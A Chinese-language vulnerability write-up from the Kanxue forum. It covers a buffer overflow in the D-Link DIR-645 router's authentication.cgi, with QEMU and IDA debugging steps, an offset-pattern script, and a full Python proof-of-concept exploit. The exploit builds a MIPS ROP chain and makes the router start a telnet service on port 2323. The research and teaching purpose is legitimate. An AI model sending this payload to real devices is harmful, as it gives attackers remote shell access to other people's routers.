查看原文
其他

D-Link DIR-645路由器溢出分析

herculiz 看雪学苑 2022-07-01
本文为看雪论坛优秀文章
看雪论坛作者ID:herculiz



1


漏洞介绍


该漏洞是CGI脚本在处理authentication.cgi请求,来读取POST参数中的"password"参数的值时造成的缓冲区溢出。


2


固件提取文件系统


固件下载:ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE_1.03.ZIP


3


qemu+IDA调试分析


1、run_cgi.sh脚本:
#!/bin/bash
# 待执行命令# sudo ./run_cgi.sh `python -c "print 'uid=A21G&password='+'A'*0x600"` "uid=A21G"
INPUT="$1" # 参数1,uid=A21G&password=1160个ATEST="$2" # 参数2,uid=A21GLEN=$(echo -n "$INPUT" | wc -c) # 参数1的长度PORT="1234" # 监听的调试端口
# 用法错误则提示if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]then echo -e "\nUsage: sudo $0 \n" exit 1fi
# 复制qemu-mipsel-static到本目录并重命名,注意是static版本cp $(which qemu-mipsel-static) ./qemuecho $TEST# | 管道符:前者输出作为后者输入# chroot 将某目录设置为根目录(逻辑上的)echo "$INPUT" | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E REQUEST_URI="/authentication.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/authentication.cgiecho 'run ok'rm -f ./qemu # 删除拷贝过来的执行文件

2、调试目标程序需要匹配正确。



3、IDA分析,追踪问题函数



4、填充数据调试 
IDA调试参考:
获得&ra在栈上的地址(这是非子叶函数的性质):
F8执行观察,直到栈上保存&ra的数据内容发送变化(可猜测这里可能时溢出点):
注意:为了防止后面可能出现二次溢出,或则其他处溢出才是真正影响被程序被控制的位置,我们继续F8执行观察。
 
程序异常结束了,发现时a1寄存器的值是栈上的,大概猜测一下是我们填充的值太大影响到了这位置上的值。
 
5、看看a1正常的内容读取:
缩短填充内容的长度,重新调试:

 
程序走到authenticationcgi_main的返回位置才退出:
 
如果需要看到更明显的步骤,可以自己找到此处再下个断点。
 
 
结论:真实溢出位置就是read()函数引起的。
 
6、分析read()函数上下文传入传出数据。
 
先到read()函数跳转处分析参数的来源与目的地:
 

分析方法:由于MIPS是流水线执行指令顺序,寻找参数先到函数跳转处先向下查找参数,然受再向上查找参数。
 
 
最终得到read()函数原型:read(fileno(stdin), var_430, atoi(getenv("CONTENT_LENGTH")))
 
7、注var_430计算大小方式,根据栈中变量的顺序去计算:
至此漏洞定位分析完,起始后面还有些危险函数可能存在危险溢出点需要验证,不过方法都无非是构造数据填充加上调试观察构造的数据位置。由于后面的函数都达不到溢出,所以就不附上步骤了。

根据漏洞描述,POST提交数据时,并不是任意格式的数据都能造成缓存区溢出,需要”id=XX&&password=XX“形式的格式。

验证分析:
程序异常退出在此处,分析:
在向上分析,发现数据最终来源与$s2相关的数据,双击进入,发现固定格式,读取后面数据为strlen服务:
更改回要求的形式获得结果: 



4


漏洞利用


1、调试确定偏移

 这里分享个更方便的脚本patter.pl脚本生成构造数据:

#!/usr/bin/perl -wuse strict;
# Generate/Search Pattern (gspattern.pl) v0.2# Scripted by Wasim Halani (washal)# Visit me at https://securitythoughts.wordpress.com/# Thanks to hdm and the Metasploit team# Special thanks to Peter Van Eeckhoutte(corelanc0d3r) for his amazing Exploit Development tutorials# This script is to be used for educational purposes only.
my $ustart = 65;my $uend = 90;my $lstart = 97;my $lend = 122;my $nstart = 0;my $nend = 9;my $length ;my $string = "";my ($upper, $lower, $num);my $searchflag = 0;my $searchstring;
sub credits(){ print "\nGenerate/Search Pattern \n"; print "Scripted by Wasim Halani (washal)\n"; print "https://securitythoughts.wordpress.com/\n"; print "Version 0.2\n\n";}
sub usage(){ credits(); print " Usage: \n"; print " gspattern.pl \n"; print " Will generate a string of given length. \n"; print "\n"; print " gspattern.pl \n"; print " Will generate a string of given length,\n"; print " and display the offsets of pattern found.\n";}
sub generate(){ credits(); $length = $ARGV[0]; #print "Generating string for length : " .$length . "\n"; if(length($string) == $length){ finish(); } #looping for the uppercase for($upper = $ustart; $upper <= $uend;$upper++){ $string =$string.chr($upper); if(length($string) == $length){ finish(); } #looping for the lowercase for($lower = $lstart; $lower <= $lend;$lower++){ $string =$string.chr($lower); if(length($string) == $length){ finish(); } #looping for the numeral for($num = $nstart; $num <= $nend;$num++){ $string = $string.$num; if(length($string) == $length){ finish(); } $string = $string.chr($upper); if(length($string) == $length){ finish(); } if($num != $nend){ $string = $string.chr($lower); } if(length($string) == $length){ finish(); } } } }}
sub search(){ my $offset = index($string,$searchstring); if($offset == -1){ print "Pattern '".$searchstring."' not found\n"; exit(1); } else{ print "Pattern '".$searchstring."' found at offset(s) : "; } my $count = $offset; print $count." ";
while($length){ $offset = index($string,$searchstring,$offset+1); if($offset == -1){ print "\n"; exit(1); } print $offset ." "; $count = $count + $offset; } print "\n"; exit(1);}
sub finish(){ print "String is : \n".$string ."\n\n"; if($searchflag){ search(); } exit(1);}
if(!$ARGV[0]){ usage(); #print "Going into usage..";}elsif ($ARGV[1]){ $searchflag = 1; $searchstring = $ARGV[1]; generate(); #print "Going into pattern search...";}else { generate(); #print "Going into string generation...";}

2、patter.pl脚本使用方法 

有两种操作模式:
只提供一个参数,即要生成的字符串的长度( ./ gspattern.pl [length of string] )

字符串的长度和要找到偏移量的模式提供(./ gspattern.pl [字符串长度] [搜索模式]) 

注(搜索模式):获得要计算偏移溢出位置的hex值,转化为ASCII码。(记住一定要根据大小端序来输入,下面步骤中已举例)
 
3、生成构造数据(我直接写入文件了,它把description也一块写入了,需要进去删除下) 
./pattern.pl 1160 > test_auth

调试确定需要的偏移位置值:
sudo ./run_cgi.sh `python -c "print 'uid=A21G&password='+open('test_auth','r').read(1160)"` "uid=A21G"

将0x38684237 转成对应ASCII码:8hB7

 
4、构造ROP参考:家用路由器漏洞挖掘实例分析
 
5、POC
import sysimport timeimport stringimport socketfrom random import Randomimport urllib, urllib2, httplib
class MIPSPayload: BADBYTES = [0x00] LITTLE = "little" BIG = "big" FILLER = "A" BYTES = 4
def __init__(self, libase=0, endianess=LITTLE, badbytes=BADBYTES): self.libase = libase self.shellcode = "" self.endianess = endianess self.badbytes = badbytes
def rand_text(self, size): str = '' chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789' length = len(chars) - 1 random = Random() for i in range(size): str += chars[random.randint(0,length)] return str
def Add(self, data): self.shellcode += data
def Address(self, offset, base=None): if base is None: base = self.libase return self.ToString(base + offset)
def AddAddress(self, offset, base=None): self.Add(self.Address(offset, base))
def AddBuffer(self, size, byte=FILLER): self.Add(byte * size)
def AddNops(self, size): if self.endianess == self.LITTLE: self.Add(self.rand_text(size)) else: self.Add(self.rand_text(size))
def ToString(self, value, size=BYTES): data = "" for i in range(0, size): data += chr((value >> (8*i)) & 0xFF) if self.endianess != self.LITTLE: data = data[::-1] return data
def Build(self): count = 0 for c in self.shellcode: for byte in self.badbytes: if c == chr(byte): raise Exception("Bad byte found in shellcode at offset %d: 0x%.2X" % (count, byte)) count += 1 return self.shellcode
def Print(self, bpl=BYTES): i = 0 for c in self.shellcode: if i == 4: print "" i = 0 sys.stdout.write("\\x%.2X" % ord(c)) sys.stdout.flush() if bpl > 0: i += 1 print "\n"
class HTTP: HTTP = 'http'
def __init__(self, host, proto=HTTP, verbose=False): self.host = host self.proto = proto self.verbose = verbose self.encode_params = True
def Encode(self, data): #just for DIR645 if type(data) == dict: pdata = [] for k in data.keys(): pdata.append(k + '=' + data[k]) data = pdata[1] + '&' + pdata[0] else: data = urllib.quote_plus(data) return data
def Send(self, uri, headers={}, data=None, response=False,encode_params=True): html = "" if uri.startswith('/'): c = '' else: c = '/'
url = '%s://%s' % (self.proto, self.host) uri = '/%s' % uri if data is not None: data = self.Encode(data) #print data if self.verbose: print url httpcli = httplib.HTTPConnection(self.host, 80, timeout=30) httpcli.request('POST',uri,data,headers=headers) response=httpcli.getresponse() print response.status print response.read()
if __name__ == '__main__': libc = 0x2aaf8000 # so动态库的加载基址 target = { "1.03" : [ 0x531ff, # 伪system函数地址(只不过-1了,曲线救国,避免地址出现00截断字符 0x158c8, # rop chain 1(将伪地址+1,得到真正的system地址,曲线救国的跳板 0x159cc, # rop chain 2(执行system函数,传参cmd以执行命令 ], } v = '1.03' cmd = 'telnetd -p 2323' # 待执行的cmd命令:在2323端口开启telnet服务 ip = '192.168.0.1' # 服务器IP地址//here
# 构造payload payload = MIPSPayload(endianess="little", badbytes=[0x0d, 0x0a])
payload.AddNops(1011) # filler # 7. 填充1011个字节,$s0偏移为1014,129行target数组中地址只占了3,04-3=01 payload.AddAddress(target[v][0], base=libc) # $s0 payload.AddNops(4) # $s1 payload.AddNops(4) # $s2 payload.AddNops(4) # $s3 payload.AddNops(4) # $s4 payload.AddAddress(target[v][2], base=libc) # $s5 payload.AddNops(4) # unused($s6) payload.AddNops(4) # unused($s7) payload.AddNops(4) # unused($fp) #<<揭秘家用路由器0day漏洞挖掘技术>>这里是$gp,可能是作者笔误吧,实际验证应该是$fp,下面注释给出验证数据。 payload.AddAddress(target[v][1], base=libc) # $ra payload.AddNops(4) # fill payload.AddNops(4) # fill payload.AddNops(4) # fill payload.AddNops(4) # fill payload.Add(cmd) # shellcode
# 构造http数据包 pdata = { 'uid' : '3Ad4', 'password' : 'AbC' + payload.Build(), } header = { 'Cookie' : 'uid='+'3Ad4', 'Accept-Encoding': 'gzip, deflate', 'Content-Type' : 'application/x-www-form-urlencoded', 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' } # 发起http请求 try: HTTP(ip).Send('authentication.cgi', data=pdata,headers=header,encode_params=False,response=True) print '[+] execute ok' except httplib.BadStatusLine: print "Payload deliverd." except Exception,e: print "2Payload delivery failed: %s" % str(e)

注释:栈内数据对应寄存器
 



5


qemu开启仿真环境


1、打开qemu系统

sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic

2、利用SCP把路由系统文件传过去,之前文章有写过,不清楚的请看参考链接。
 
3、开始仿真环境前准备

挂载固件文件系统中的proc目录和dev目录到chroot环境,因为proc中存储着进程所需的文件,比如pid文件等等,而dev中存储着相关的设备:

mount -o bind /dev ./squashfs-root/devmount -t proc /proc ./squashfs-root/proc/chroot ./squashfs-root/ sh
然后进入/etc/init.d/目录下,执行./rcS(init.d文件夹下存储的是启动的时候初始化服务和环境rcS文件)启动: 

然后根据报错提示去修复:

当然用别的仿真环境跑起来也都一样运行,这里我没启动成功,主要是分析漏洞整个流程。关于如何更好的仿真实现开启路由环境,欢迎大家交流。
 
参考:
[1]https://bbs.pediy.com/thread-259274.htm
[2]https://bbs.pediy.com/thread-268623.htm



 


看雪ID:herculiz

https://bbs.pediy.com/user-home-913238.htm

*本文由看雪论坛 herculiz 原创,转载请注明来自看雪社区






# 往期推荐

1. API 钩取:逆向分析之“花”

2. Ring3注入学习:导入表注入

3.极为详细:双重释放漏洞调试分析

4. 新人PWN入坑总结

5. 新人PWN堆Heap总结

6. 如何利用栈溢出漏洞



公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存